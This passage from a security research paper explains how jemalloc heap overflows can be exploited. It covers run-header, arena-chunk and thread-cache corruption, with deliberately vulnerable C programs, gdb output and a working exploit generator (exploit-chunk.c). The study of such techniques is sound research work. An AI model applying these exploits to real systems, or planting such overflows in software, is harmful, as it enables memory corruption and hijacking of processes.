are always aligned to a multiple of the page size (0x1000 in most real 

life applications). The run metadata obey the layout shown in [2-3]. 

 

For release builds the 'magic' field will not be present (that is, 

MALLOC_DEBUG is off by default). As we have already mentioned, each 

run contains a pointer to the bin whose regions it contains. The 'bin' 

pointer is read and dereferenced from 'arena_run_t' (see [2-3]) only 

during deallocation. On deallocation the region size is unknown, thus the 

bin index cannot be computed directly, instead, jemalloc will first find 

the run the memory to be freed is located and will then dereference the 

bin pointer stored in the run's header. From function 'arena_dalloc_small': 

 

 

arena_dalloc_small(arena_t *arena, arena_chunk_t *chunk, void *ptr, 

        arena_chunk_map_t *mapelm) 

{ 

    arena_run_t *run; 

    arena_bin_t *bin; 

    size_t size; 

 

    run = (arena_run_t *)(mapelm->bits & ~pagesize_mask); 

    bin = run->bin; 

    size = bin->reg_size; 

 

 

On the other hand, during the allocation process, once the appropriate run 

is located, its 'regs_mask[]' bit vector is examined in search of a free 

region. Note that the search for a free region starts at 

'regs_mask[regs_minelm]' ('regs_minlem' holds the index of the first 

'regs_mask[]' element that has nonzero bits). We will exploit this fact to 

force 'malloc()' return an already allocated region. 

 

In a heap overflow situation it is pretty common for the attacker to be 

able to overflow a memory region which is not followed by other regions 

(like the wilderness chunk in dlmalloc, but in jemalloc such regions are 

not that special). In such a situation, the attacker will most likely be 

able to overwrite the run header of the next run. Since runs hold memory 

regions of equal size, the next page aligned address will either be a 

normal page of the current run, or will contain the metadata (header) of 

the next run which will hold regions of different size (larger or smaller, 

it doesn't really matter). In the first case, overwriting adjacent regions 

of the same run is possible and thus an attacker can use the techniques 

that were previously discussed in 3.1. The latter case is the subject of 
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the following paragraphs. 

 

People already familiar with heap exploitation, may recall that it is 

pretty common for an attacker to control the last heap item (region in our 

case) allocated, that is the most recently allocated region is the one 

being overflown. Because of the importance of this situation, we believe 

it is essential to have a look at how we can leverage it to gain control 

of the target process. 

 

Let's first have a look at how the in-memory model of a run looks like 

(file test-run.c): 

 

 

char *first; 

 

first = (char *)malloc(16); 

printf("first = %p\n", first); 

memset(first, 'A', 16); 

 

breakpoint(); 

 

free(first); 

 

 

The test program is compiled and a debugging build of jemalloc is loaded 

to be used with gdb. 

 

 

~$ gcc -g -Wall test-run.c -o test-run 

~$ export LD_PRELOAD=/usr/src/lib/libc/libc.so.7 

~$ gdb test-run 

GNU gdb 6.1.1 [FreeBSD] 

... 

(gdb) run 

... 

first = 0x28201030 

 

Program received signal SIGTRAP, Trace/breakpoint trap. 

main () at simple.c:14 

14        free(first); 

 

 

The call to malloc() returns the address 0x28201030 which belongs to the 

run at 0x28201000. 

 

 

(gdb) print *(arena_run_t *)0x28201000 

$1 = {bin = 0x8049838, regs_minelm = 0, nfree = 252, 

  regs_mask = {4294967294}} 

(gdb) print *(arena_bin_t *)0x8049838 

$2 = {runcur = 0x28201000, runs = {...}, reg_size = 16, run_size = 4096, 

  nregs = 253, regs_mask_nelms = 8, reg0_offset = 48} 

 

 

Oki doki, run 0x28201000 services the requests for memory regions of size 

16 as indicated by the 'reg_size' value of the bin pointer stored in the 

run header (notice that run->bin->runcur == run). 

 

Now let's proceed with studying a scenario that can lead to 'malloc()' 

exploitation. For our example let's assume that the attacker controls 

a memory region 'A' which is the last in its run. 
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[run #1 header][RR...RA][run #2 header][RR...] 

 

 

In the simple diagram shown above, 'R' stands for a normal region which may 

or may not be allocated while 'A' corresponds to the region that belongs to 

the attacker, i.e. it is the one that will be overflown. 'A' does not 

strictly need to be the last region of run #1. It can also be any region of 

the run. Let's explore how from a region on run #1 we can reach the 

metadata of run #2 (file test-runhdr.c, also see [2-6]): 

 

 

unsigned char code[] = "\x61\x62\x63\x64"; 

 

one = malloc(0x10); 

memset(one, 0x41, 0x10); 

printf("[+] region one:\t\t0x%x: %s\n", (unsigned int)one, one); 

 

two = malloc(0x10); 

memset(two, 0x42, 0x10); 

printf("[+] region two:\t\t0x%x: %s\n", (unsigned int)two, two); 

 

three = malloc(0x20); 

memset(three, 0x43, 0x20); 

printf("[+] region three:\t0x%x: %s\n", (unsigned int)three, three); 

 

__asm__("int3"); 

 

printf("[+] corrupting the metadata of region three's run\n"); 

memcpy(two + 4032, code, 4); 

 

__asm__("int3"); 

 

 

At the first breakpoint we can see that for size 16 the run is at 

0xb7d01000 and for size 32 the run is at 0xb7d02000: 

 

 

gdb $ r 

[Thread debugging using libthread_db enabled] 

[+] region one:     0xb7d01030: AAAAAAAAAAAAAAAA 

[+] region two:     0xb7d01040: BBBBBBBBBBBBBBBB 

[+] region three:   0xb7d02020: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 

 

Program received signal SIGTRAP, Trace/breakpoint trap. 

 

gdb $ print arenas[0].bins[3].runcur 

$5 = (arena_run_t *) 0xb7d01000 

gdb $ print arenas[0].bins[4].runcur 

$6 = (arena_run_t *) 0xb7d02000 

 

 

The metadata of run 0xb7d02000 are: 

 

 

gdb $ x/30x 0xb7d02000 

0xb7d02000: 0xb7fd3134  0x00000000  0x0000007e  0xfffffffe 

0xb7d02010: 0xffffffff  0xffffffff  0x7fffffff  0x00000000 

0xb7d02020: 0x43434343  0x43434343  0x43434343  0x43434343 

0xb7d02030: 0x43434343  0x43434343  0x43434343  0x43434343 



[ 

1. Pseudomonarchia jemallocum – argp, huku] 
 

  Page 
36 

 
  

0xb7d02040: 0x00000000  0x00000000  0x00000000  0x00000000 

 

 

After the memcpy() and at the second breakpoint: 

 

 

gdb $ x/30x 0xb7d02000 

0xb7d02000: 0x64636261  0x00000000  0x0000007e  0xfffffffe 

0xb7d02010: 0xffffffff  0xffffffff  0x7fffffff  0x00000000 

0xb7d02020: 0x43434343  0x43434343  0x43434343  0x43434343 

0xb7d02030: 0x43434343  0x43434343  0x43434343  0x43434343 

0xb7d02040: 0x00000000  0x00000000  0x00000000  0x00000000 

 

 

We can see that the run's metadata and specifically the address of the 

'bin' element (see [2-3]) has been overwritten. One way or the other, the 

attacker will be able to alter the contents of run #2's header, but once 

this has happened, what's the potential of achieving code execution? 

 

A careful reader would have already thought the obvious; one can overwrite 

the 'bin' pointer to make it point to a fake bin structure of his own. 

Well, this is not a good idea because of two reasons. First, the attacker 

needs further control of the target process in order to successfully 

construct a fake bin header somewhere in memory. Secondly, and most 

importantly, as it has already been discussed, the 'bin' pointer of a 

region's run header is dereferenced only during deallocation. A careful 

study of the jemalloc source code reveals that only 'run->bin->reg0_offset' 

is actually used (somewhere in 'arena_run_reg_dalloc()'), thus, from an 

attacker's point of view, the bin pointer is not that interesting 

('reg0_offset' overwrite may cause further problems as well leading to 

crashes and a forced interrupt of our exploit). 

 

Our attack consists of the following steps. The attacker overflows 

'A' and overwrites run #2's header. Then, upon the next malloc() of 

a size equal to the size serviced by run #2, the user will get as a 

result a pointer to a memory region of the previous run (run #1 in our 

example). It is important to understand that in order for the attack to 

work, the overflown run should serve regions that belong to any of the 

available bins. Let's further examine our case (file vuln-run.c): 

 

 

char *one, *two, *three, *four, *temp; 

char offset[sizeof(size_t)]; 

int i; 

 

if(argc < 2) 

{ 

    printf("%s <offset>\n", argv[0]); 

    return 0; 

} 

 

/* User supplied value for 'regs_minelm'. */ 

*(size_t *)&offset[0] = (size_t)atol(argv[1]); 

 

printf("Allocating a chunk of 16 bytes just for fun\n"); 

one = (char *)malloc(16); 

printf("one = %p\n", one); 

 

/* All those allocations will fall inside the same run. */ 

printf("Allocating first chunk of 32 bytes\n"); 

two = (char *)malloc(32); 
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printf("two = %p\n", two); 

 

printf("Performing more 32 byte allocations\n"); 

for(i = 0; i < 10; i++) 

{ 

    temp = (char *)malloc(32); 

    printf("temp = %p\n", temp); 

} 

 

/* This will allocate a new run for size 64. */ 

printf("Setting up a run for the next size class\n"); 

three = (char *)malloc(64); 

printf("three = %p\n", three); 

 

/* Overwrite 'regs_minelm' of the next run. */ 

breakpoint(); 

memcpy(two + 4064 + 4, offset, 4); 

breakpoint(); 

 

printf("Next chunk should point in the previous run\n"); 

four = (char *)malloc(64); 

printf("four = %p\n", four); 

 

 

vuln-run.c requires the user to supply a value to be written on 

'regs_minelm' of the next run. To achieve reliable results we have to 

somehow control the memory contents at 'regs_mask[regs_minelm]' as well. 

By taking a closer look at the layout of 'arena_run_t', we can see that by 

supplying the value -2 for 'regs_minelm', we can force 

'regs_mask[regs_minelm]' to point to 'regs_minelm' itself. That is, 

'regs_minelm[-2] = -2' :) 

 

Well, depending on the target application, other values may also be 

applicable but -2 is a safe one that does not cause further problems in the 

internals of jemalloc and avoids forced crashes. 

 

From function 'arena_run_reg_alloc': 

 

 

static inline void * 

arena_run_reg_alloc(arena_run_t *run, arena_bin_t *bin) 

{ 

 void *ret; 

 unsigned i, mask, bit, regind; 

 

 ... 

 

 i = run->regs_minelm; 

 mask = run->regs_mask[i]; /* [3-4] */ 

 if (mask != 0) { 

  /* Usable allocation found. */ 

  bit = ffs((int)mask) - 1; /* [3-5] */ 

 

  regind = ((i << (SIZEOF_INT_2POW + 3)) + bit); /* [3-6] */ 

  ... 

  ret = (void *)(((uintptr_t)run) + bin->reg0_offset 

      + (bin->reg_size * regind)); /* [3-7] */ 

 

  ... 

  return (ret); 

 } 
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 ... 

} 

 

 

Initially, 'i' gets the value of 'run->regs_minelm' which is equal to -2. 

On the assignment at [3-4], 'mask' receives the value 'regs_mask[-2]' which 

happens to be the value of 'regs_minelm', that is -2. The binary 

representation of -2 is 0xfffffffe thus 'ffs()' (man ffs(3) for those who 

haven't used 'ffs()' before) will return 2, so, 'bit' will equal 1. As if 

it wasn't fucking tiring so far, at [3-6], 'regind' is computed as 

'((0xfffffffe << 5) + 1)' which equals 0xffffffc1 or -63. Now do the maths, 

for 'reg_size' values belonging to small-medium sized regions, the formula 

at [3-7] calculates 'ret' in such a way that 'ret' receives a pointer to a 

memory region 63 chunks backwards :) 

 

Now it's time for some hands on practice: 

 

 

~$ gdb ./vuln-run 

GNU gdb 6.1.1 [FreeBSD] 

... 

(gdb) run -2 

Starting program: vuln-run -2 

Allocating a chunk of 16 bytes just for fun 

one = 0x28202030 

Allocating first chunk of 32 bytes 

two = 0x28203020 

Performing more 32 byte allocations 

... 

temp = 0x28203080 

... 

Setting up a run for the next size class 

three = 0x28204040 

 

Program received signal SIGTRAP, Trace/breakpoint trap. 

main (argc=Error accessing memory address 0x0: Bad address. 

) at vuln-run.c:35 

35        memcpy(two + 4064 + 4, offset, 4); 

(gdb) c 

Continuing. 

 

Program received signal SIGTRAP, Trace/breakpoint trap. 

main (argc=Error accessing memory address 0x0: Bad address. 

) at vuln-run.c:38 

38        printf("Next chunk should point in the previous run\n"); 

(gdb) c 

Continuing. 

Next chunk should point in the previous run 

four = 0x28203080 

 

Program exited normally. 

(gdb) q 

 

 

Notice how the memory region numbered 'four' (64 bytes) points exactly 

where the chunk named 'temp' (32 bytes) starts. Voila :) 

 

 

------[ 3.3.2 - Chunk (arena_chunk_t) 
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In the previous section we described the potential of achieving arbitrary 

code execution by overwriting the run header metadata. Trying to cover 

all the possibilities, we will now focus on what the attacker can do 

once she is able to corrupt the chunk header of an arena. Although 

the probability of directly affecting a nearby arena is low, a memory 

leak or the indirect control of the heap layout by continuous bin-sized 

allocations can render the technique described in this section a useful 

tool in the attacker's hand. 

 

Before continuing with our analysis, let's set the foundations of the 

test case we will cover. 

 

[[Arena #1 header][R...R][C...C]] 

 

As we have already mentioned in the previous sections, new arena chunks 

are created at will depending on whether the current arena is full 

(that is, jemalloc is unable to find a non-full run to service the 

current allocation) or whether the target application runs on multiple 

threads. Thus a good way to force the initialization of a new arena chunk 

is to continuously force the target application to perform allocations, 

preferably bin-sized ones. In the figure above, letter 'R' indicates the 

presence of memory regions that are already allocated while 'C' denotes 

regions that may be free. By continuously requesting memory regions, 

the available arena regions may be depleted forcing jemalloc to allocate 

a new arena (what is, in fact, allocated is a new chunk called an arena 

chunk, by calling 'arena_chunk_alloc()' which usually calls 'mmap()'). 

 

The low level function responsible for allocating memory pages (called 

'pages_map()'), is used by 'chunk_alloc_mmap()' in a way that makes it 

possible for several distinct arenas (and any possible arena extensions) 

to be physically adjacent. So, once the attacker requests a bunch of 

new allocations, the memory layout may resemble the following figure. 

 

[[Arena #1 header][R...R][C...C]][[Arena #2 header][...]] 

 

It is now obvious that overflowing the last chunk of arena #1 will 

result in the arena chunk header of arena #2 getting overwritten. It is 

thus interesting to take a look at how one can take advantage of such 

a situation. 

 

The following code is one of those typical vulnerable-on-purpose programs 

you usually come across in Phrack articles ;) The scenario we will be 

analyzing in this section is the following: The attacker forces the 

target application to allocate a new arena by controlling the heap 

allocations. She then triggers the overflow in the last region of the 

previous arena (the region that physically borders the new arena) thus 

corrupting the chunk header metadata (see [2-5] on the diagram). When the 

application calls 'free()' on any region of the newly allocated arena, 

the jemalloc housekeeping information is altered. On the next call to 

'malloc()', the allocator will return a region that points to already 

allocated space of (preferably) the previous arena. Take your time 

to carefully study the following snippet since it is essential for 

understanding this attack (full code in vuln-chunk.c): 

 

 

char *base1, *base2; 

char *p1, *p2, *p3, *last, *first; 

char buffer[1024]; 

int fd, l; 

 

p1 = (char *)malloc(16); 
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base1 = (char *)CHUNK_ADDR2BASE(p1); 

print_arena_chunk(base1); 

 

/* [3-8] */ 

 

/* Simulate the fact that we somehow control heap allocations. 

 * This will consume the first chunk, and will force jemalloc 

 * to allocate a new chunk for this arena. 

 */ 

last = NULL; 

 

while((base2 = (char *)CHUNK_ADDR2BASE((first = malloc(16)))) == base1) 

    last = first; 

 

print_arena_chunk(base2); 

 

/* [3-9] */ 

 

/* Allocate one more region right after the first region of the 

 * new chunk. This is done for demonstration purposes only. 

 */ 

p2 = malloc(16); 

 

/* This is how the chunks look like at this point: 

 * 

 *   [HAAAA....L][HFPUUUU....U] 

 * 

 * H: Chunk header 

 * A: Allocated regions 

 * L: The chunk pointed to by 'last' 

 * F: The chunk pointed to by 'first' 

 * P: The chunk pointed to by 'p2' 

 * U: Unallocated space 

 */ 

fprintf(stderr, "base1: %p vs. base2: %p (+%d)\n", 

    base1, base2, (ptrdiff_t)(base2 - base1)); 

 

fprintf(stderr, "p1: %p vs. p2: %p (+%d)\n", 

    p1, p2, (ptrdiff_t)(p2 - p1)); 

 

/* [3-10] */ 

 

if(argc > 1) { 

    if((fd = open(argv[1], O_RDONLY)) > 0) { 

        /* Read the contents of the given file. We assume this file 

         * contains the exploitation vector. 

         */ 

        memset(buffer, 0, sizeof(buffer)); 

        l = read(fd, buffer, sizeof(buffer)); 

        close(fd); 

 

        /* Copy data in the last chunk of the previous arena chunk. */ 

        fprintf(stderr, "Read %d bytes\n", l); 

        memcpy(last, buffer, l); 

    } 

} 

 

/* [3-11] */ 

 

/* Trigger the bug by free()ing any chunk in the new arena. We 

 * can achieve the same results by deallocating 'first'. 
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 */ 

free(p2); 

print_region(first, 16); 

 

/* [3-12] */ 

 

/* Now 'p3' will point to an already allocated region (in this 

 * example, 'p3' will overwhelm 'first'). 

 */ 

p3 = malloc(4096); 

 

/* [3-13] */ 

 

fprintf(stderr, "p3 = %p\n", p3); 

memset(p3, 'A', 4096); 

 

/* 'A's should appear in 'first' which was previously zeroed. */ 

print_region(first, 16); 

return 0; 

 

 

Before going further, the reader is advised to read the comments and the 

code above very carefully. You can safely ignore 'print_arena_chunk()' 

and 'print_region()', they are defined in the file lib.h found in the code 

archive and are used for debugging purposes only. The snippet is actually 

split in 6 parts which can be distinguished by their corresponding '[3-x]' 

tags. Briefly, in part [3-8], the vulnerable program performs a number 

of allocations in order to fill up the available space served by the 

first arena. This emulates the fact that an attacker somehow controls 

the order of allocations and deallocations on the target, a fair and 

very common prerequisite. Additionally, the last call to 'malloc()' 

(the one before the while loop breaks) forces jemalloc to allocate a new 

arena chunk and return the first available memory region. Part [3-9], 

performs one more allocation, one that will lie next to the first (that 

is the second region of the new arena). This final allocation is there 

for demonstration purposes only (check the comments for more details). 

 

Part [3-10] is where the actual overflow takes place and part [3-11] 

calls 'free()' on one of the regions of the newly allocated arena. Before 

explaining the rest of the vulnerable code, let's see what's going on when 

'free()' gets called on a memory region. 

 

 

void 

free(void *ptr) 

{ 

  ... 

  if (ptr != NULL) { 

    ... 

    idalloc(ptr); 

  } 

} 

 

static inline void 

idalloc(void *ptr) 

{ 

  ... 

  chunk = (arena_chunk_t *)CHUNK_ADDR2BASE(ptr); /* [3-14] */ 

  if (chunk != ptr) 

    arena_dalloc(chunk->arena, chunk, ptr); /* [3-15] */ 

  else 
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    huge_dalloc(ptr); 

} 

 

 

The 'CHUNK_ADDR2BASE()' macro at [3-14] returns the pointer to the chunk 

that the given memory region belongs to. In fact, what it does is just 

a simple pointer trick to get the first address before 'ptr' that is 

aligned to a multiple of a chunk size (1 or 2 MB by default, depending 

on the jemalloc flavor used). If this chunk does not belong to a, so 

called, huge allocation, then the allocator knows that it definitely 

belongs to an arena. As previously stated, an arena chunk begins with 

a special header, called 'arena_chunk_t', which, as expected, contains 

a pointer to the arena that this chunk is part of. 

 

Now recall that in part [3-10] of the vulnerable snippet presented 

above, the attacker is able to overwrite the first few bytes of the next 

arena chunk. Consequently, the 'chunk->arena' pointer that points to 

the arena is under the attacker's control. From now on, the reader may 

safely assume that all functions called by 'arena_dalloc()' at [3-15] 

may receive an arbitrary value for the arena pointer: 

 

 

static inline void 

arena_dalloc(arena_t *arena, arena_chunk_t *chunk, void *ptr) 

{ 

  size_t pageind; 

  arena_chunk_map_t *mapelm; 

  ... 

 

  pageind = (((uintptr_t)ptr - (uintptr_t)chunk) >> PAGE_SHIFT); 

  mapelm = &chunk->map[pageind]; 

  ... 

 

  if ((mapelm->bits & CHUNK_MAP_LARGE) == 0) { 

    /* Small allocation. */ 

    malloc_spin_lock(&arena->lock); 

    arena_dalloc_small(arena, chunk, ptr, mapelm);  /* [3-16] */ 

    malloc_spin_unlock(&arena->lock); 

  } 

  else 

    arena_dalloc_large(arena, chunk, ptr); /* [3-17] */ 

} 

 

 

Entering 'arena_dalloc()', one can see that the 'arena' pointer 

is not used a lot, it's just passed to 'arena_dalloc_small()' 

or 'arena_dalloc_large()' depending on the size class of the 

memory region being deallocated. It is interesting to note that the 

aforementioned size class is determined by inspecting 'mapelm->bits' 

which, hopefully, is under the influence of the attacker. Following 

the path taken by 'arena_dalloc_small()' results in many complications 

that will most probably ruin our attack (hint for the interested 

reader - pointer arithmetics performed by 'arena_run_reg_dalloc()' 

are kinda dangerous). For this purpose, we choose to follow function 

'arena_dalloc_large()': 

 

 

static void 

arena_dalloc_large(arena_t *arena, arena_chunk_t *chunk, void *ptr) 

{ 

  malloc_spin_lock(&arena->lock); 
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  ... 

 

  size_t pageind = ((uintptr_t)ptr - (uintptr_t)chunk) >> 

    PAGE_SHIFT; /* [3-18] */ 

  size_t size = chunk->map[pageind].bits & ~PAGE_MASK; /* [3-19] */ 

 

  ... 

  arena_run_dalloc(arena, (arena_run_t *)ptr, true); 

  malloc_spin_unlock(&arena->lock); 

} 

 

 

There are two important things to notice in the snippet above. The first 

thing to note is the way 'pageind' is calculated. Variable 'ptr' points 

to the start of the memory region to be free()'ed while 'chunk' is the 

address of the corresponding arena chunk. For a chunk that starts at 

e.g. 0x28200000, the first region to be given out to the user may start 

at 0x28201030 mainly because of the overhead involving the metadata of 

chunk, arena and run headers as well as their bitmaps. A careful reader 

may notice that 0x28201030 is more than a page far from the start 

of the chunk, so, 'pageind' is larger or equal to 1. It is for this 

purpose that we are mostly interested in overwriting 'chunk->map[1]' 

and not 'chunk->map[0]'. The second thing to catch our attention is 

the fact that, at [3-19], 'size' is calculated directly from the 'bits' 

element of the overwritten bitmap. This size is later converted to the 

number of pages comprising it, so, the attacker can directly affect the 

number of pages to be marked as free. Let's see 'arena_run_dalloc': 

 

 

static void 

arena_run_dalloc(arena_t *arena, arena_run_t *run, bool dirty) 

{ 

  arena_chunk_t *chunk; 

  size_t size, run_ind, run_pages; 

 

  chunk = (arena_chunk_t *)CHUNK_ADDR2BASE(run); 

  run_ind = (size_t)(((uintptr_t)run - (uintptr_t)chunk) 

      >> PAGE_SHIFT); 

  ... 

 

  if ((chunk->map[run_ind].bits & CHUNK_MAP_LARGE) != 0) 

    size = chunk->map[run_ind].bits & ~PAGE_MASK; 

  else 

    ... 

  run_pages = (size >> PAGE_SHIFT); /* [3-20] */ 

 

  /* Mark pages as unallocated in the chunk map. */ 

  if (dirty) { 

    size_t i; 

 

    for (i = 0; i < run_pages; i++) { 

      ... 

      /* [3-21] */ 

      chunk->map[run_ind + i].bits = CHUNK_MAP_DIRTY; 

    } 

 

    ... 

    chunk->ndirty += run_pages; 

    arena->ndirty += run_pages; 

  } 

  else { 
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    ... 

  } 

  chunk->map[run_ind].bits = size | (chunk->map[run_ind].bits & 

      PAGE_MASK); 

  chunk->map[run_ind+run_pages-1].bits = size | 

      (chunk->map[run_ind+run_pages-1].bits & PAGE_MASK); 

 

 

  /* Page coalescing code - Not relevant for _this_ example. */ 

  ... 

 

  /* Insert into runs_avail, now that coalescing is complete. */ 

  /* [3-22] */ 

  arena_avail_tree_insert(&arena->runs_avail, &chunk->map[run_ind]); 

 

  ... 

} 

 

 

Continuing with our analysis, one can see that at [3-20] the same 

size that was calculated in 'arena_dalloc_large()' is now converted 

to a number of pages and then all 'map[]' elements that correspond to 

these pages are marked as dirty (notice that 'dirty' argument given 

to 'arena_run_dalloc()' by 'arena_dalloc_large()' is always set to 

true). The rest of the 'arena_run_dalloc()' code, which is not shown 

here, is responsible for forward and backward coalescing of dirty 

pages. Although not directly relevant for our demonstration, it's 

something that an attacker should keep in mind while developing a real 

life reliable exploit. 

 

Last but not least, it's interesting to note that, since the attacker 

controls the 'arena' pointer, the map elements that correspond to the 

freed pages are inserted in the given arena's red black tree. This can be 

seen at [3-22] where 'arena_avail_tree_insert()' is actually called. One 

may think that since red-black trees are involved in jemalloc, she can 

abuse their pointer arithmetics to achieve a '4bytes anywhere' write 

primitive. We urge all interested readers to have a look at rb.h, the 

file that contains the macro-based red black tree implementation used 

by jemalloc (WARNING: don't try this while sober). 

 

Summing up, our attack algorithm consists of the following steps: 

 

1) Force the target application to perform a number of allocations until a 

new arena is eventually allocated or until a neighboring arena is reached 

(call it arena B). This is mostly meaningful for our demonstration codes, 

since, in real life applications chances are that more than one chunks 

and/or arenas will be already available during the exploitation process. 

 

2) Overwrite the 'arena' pointer of arena B's chunk and make it point 

to an already existing arena. The address of the very first arena of 

a process (call it arena A) is always fixed since it's declared as 

static. This will prevent the allocator from accessing a bad address 

and eventually segfaulting. 

 

3) Force or let the target application free() any chunk that belongs to 

arena B. We can deallocate any number of pages as long as they are marked 

as allocated in the jemalloc metadata. Trying to free an unallocated page 

will result in the red-black tree implementation of jemalloc entering 

an endless loop or, rarely, segfaulting. 

 

4) The next allocation to be served by arena B, will return a pointer 
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somewhere within the region that was erroneously free()'ed in step 3. 

 

The exploit code for the vulnerable program presented in this section 

can be seen below. It was coded on an x86 FreeBSD-8.2-RELEASE system, so 

the offsets of the metadata may vary for your platform. Given the address 

of an existing arena (arena A of step 2), it creates a file that contains 

the exploitation vector. This file should be passed as argument to the 

vulnerable target (full code in file exploit-chunk.c): 

 

 

char buffer[1024], *p; 

int fd; 

 

if(argc != 2) { 

    fprintf(stderr, "%s <arena>\n", argv[0]); 

    return 0; 

} 

 

memset(buffer, 0, sizeof(buffer)); 

 

p = buffer; 

strncpy(p, "1234567890123456", 16); 

p += 16; 

 

/* Arena address. */ 

*(size_t *)p = (size_t)strtoul(argv[1], NULL, 16); 

p += sizeof(size_t); 

 

/* Skip over rbtree metadata and 'chunk->map[0]'. */ 

strncpy(p, 

    "AAAA" "AAAA" "CCCC" 

    "AAAA" "AAAA" "AAAA" "GGGG" "HHHH" , 32); 

 

p += 32; 

 

*(size_t *)p = 0x00001002; 

/*                      ^ CHUNK_MAP_LARGE                 */ 

/*                   ^ Number of pages to free (1 is ok). */ 

p += sizeof(size_t); 

 

fd = open("exploit2.v", O_WRONLY | O_TRUNC | O_CREAT, 0700); 

write(fd, buffer, (p - (char *)buffer)); 

close(fd); 

return 0; 

 

 

It is now time for some action. First, let's compile and run the vulnerable 

code. 

 

 

$ ./vuln-chunk 

# Chunk 0x28200000 belongs to arena 0x8049d98 

# Chunk 0x28300000 belongs to arena 0x8049d98 

... 

# Region at 0x28301030 

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................ 

p3 = 0x28302000 

# Region at 0x28301030 

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................ 
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The output is what one expects it to be. First, the vulnerable code forces 

the allocator to initialize a new chunk (0x28300000) and then requests 

a memory region which is given the address 0x28301030. The next call to 

'malloc()' returns 0x28302000. So far so good. Let's feed our target 

with the exploitation vector and see what happens. 

 

$ ./exploit-chunk 0x8049d98 

$ ./vuln-chunk exploit2.v 

# Chunk 0x28200000 belongs to arena 0x8049d98 

# Chunk 0x28300000 belongs to arena 0x8049d98 

... 

Read 56 bytes 

# Region at 0x28301030 

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................ 

p3 = 0x28301000 

# Region at 0x28301030 

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41         AAAAAAAAAAAAAAAA 

 

 

As you can see the second call to 'malloc()' returns a new region 

'p3 = 0x28301000' which lies 0x30 bytes before 'first' (0x28301030)! 

 

Okay, so you're now probably thinking if this technique is useful. Please 

note that the demonstration code presented in the previous two sections 

was carefully coded to prepare the heap in a way that is convenient for 

the attacker. It is for this purpose that these attacks may seem obscure 

at first. On the contrary, in real life applications, heap overflows in 

jemalloc will result in one of the following three cases: 

 

1) Overwrite of an adjacent memory region. 

 

2) Overwrite of the run metadata (in case the overflown region is the 

last in a run). 

 

3) Overwrite of the arena chunk metadata (in case the overflown region 

is the last in a chunk). 

 

That said we believe we have covered most of the cases that an attacker 

may encounter. Feel free to contact us if you think we have missed 

something important. 

 

 

------[ 3.3.3 - Thread caches (tcache_t) 

 

As we have analyzed in 2.1.7, thread cache magazine 'rounds' and other 

magazine metadata are placed in normal memory regions. Assuming a 'mag_t' 

along with its void pointer array has a total size of N, one can easily 

acquire a memory region in the same run by calling 'malloc(N)'. 

 

Overflowing a memory region adjacent to a 'mag_t' can result in 'malloc()' 

returning arbitrary attacker controlled addresses. It's just a matter of 

overwriting 'nrounds' and the contents of the void pointer array to 

contain a stack address (or any other address of interest). A careful 

reader of section 2.1.7 would have probably noticed that the same result 

can be achieved by giving 'nrounds' a sufficiently large value in order to 

pivot in the stack (or any user controlled memory region). This scenario is 

pretty straightforward to exploit, so, we will have a look at the case of 

overwriting a 'mag_rack_t' instead (it's not that sophisticated either). 

 

Magazine racks are allocated by 'mag_rack_alloc()': 
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mag_rack_t * 

mag_rack_create(arena_t *arena) 

{ 

    ... 

    return (arena_malloc_small(arena, sizeof(mag_rack_t) + 

        (sizeof(bin_mags_t) * (nbins - 1)), true)); 

} 

 

 

Now, let's calculate the size of a magazine rack: 

 

 

(gdb) print nbins 

$6 = 30 

(gdb) print sizeof(mag_rack_t) + (sizeof(bin_mags_t) * (nbins - 1)) 

$24 = 240 

 

 

A size of 240 is actually serviced by the bin holding regions of 256 bytes. 

Issuing calls to 'malloc(256)' will eventually end up in a user controlled 

region physically bordering a 'mag_rack_t'. The following vulnerable code 

emulates this situation (file vuln-mag.c): 

 

 

/* The 'vulnerable' thread. */ 

void *vuln_thread_runner(void *arg) { 

  char *v; 

 

  v = (char *)malloc(256);  /* [3-25] */ 

  printf("[vuln] v = %p\n", v); 

  sleep(2); 

 

  if(arg) 

    strcpy(v, (char *)arg); 

  return NULL; 

} 

 

/* Other threads performing allocations. */ 

void *thread_runner(void *arg) { 

  size_t self = (size_t)pthread_self(); 

  char *p1, *p2; 

 

  /* Allocation performed before the magazine rack is overflown. */ 

  p1 = (char *)malloc(16); 

  printf("[%u] p1 = %p\n", self, p1); 

  sleep(4); 

 

  /* Allocation performed after overflowing the rack. */ 

  p2 = (char *)malloc(16); 

  printf("[%u] p2 = %p\n", self, p2); 

  sleep(4); 

  return NULL; 

} 

 

int main(int argc, char *argv[]) { 

  size_t tcount, i; 

  pthread_t *tid, vid; 

 

  if(argc != 3) { 

    printf("%s <thread_count> <buff>\n", argv[0]); 
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    return 0; 

  } 

 

  /* The fake 'mag_t' structure will be placed here. */ 

  printf("[*] %p\n", getenv("FAKE_MAG_T")); 

 

  tcount = atoi(argv[1]); 

  tid = (pthread_t *)alloca(tcount * sizeof(pthread_t)); 

 

  pthread_create(&vid, NULL, vuln_thread_runner, argv[2]); 

  for(i = 0; i < tcount; i++) 

    pthread_create(&tid[i], NULL, thread_runner, NULL); 

 

  pthread_join(vid, NULL); 

  for(i = 0; i < tcount; i++) 

    pthread_join(tid[i], NULL); 

 

  pthread_exit(NULL); 

} 

 

 

The vulnerable code spawns a, so called, vulnerable thread that performs an 

allocation of 256 bytes. A user supplied buffer, 'argv[2]' is copied in it 

thus causing a heap overflow. A set of victim threads are then created. For 

demonstration purposes, victim threads have a very limited lifetime, their 

main purpose is to force jemalloc initialize new 'mag_rack_t' structures. 

As the comments indicate, the allocations stored in 'p1' variables take 

place before the magazine rack is overflown while the ones stored in 'p2' 

will get affected by the fake magazine rack (in fact, only one of them 

will; the one serviced by the overflown rack). The allocations performed 

by victim threads are serviced by the newly initialized magazine racks. 

Since each magazine rack spans 256 bytes, it is highly possible that the 

overflown region allocated by the vulnerable thread will lie somewhere 

around one of them (this requires that both the target magazine rack and 

the overflown region will be serviced by the same arena). 

 

Once the attacker is able to corrupt a magazine rack, exploitation is just 

a matter of overwriting the appropriate 'bin_mags' entry. The entry should 

be corrupted in such a way that 'curmag' should point to a fake 'mag_t' 

structure. The attacker can choose to either use a large 'nrounds' value to 

pivot into the stack, or give arbitrary addresses as members of the void 

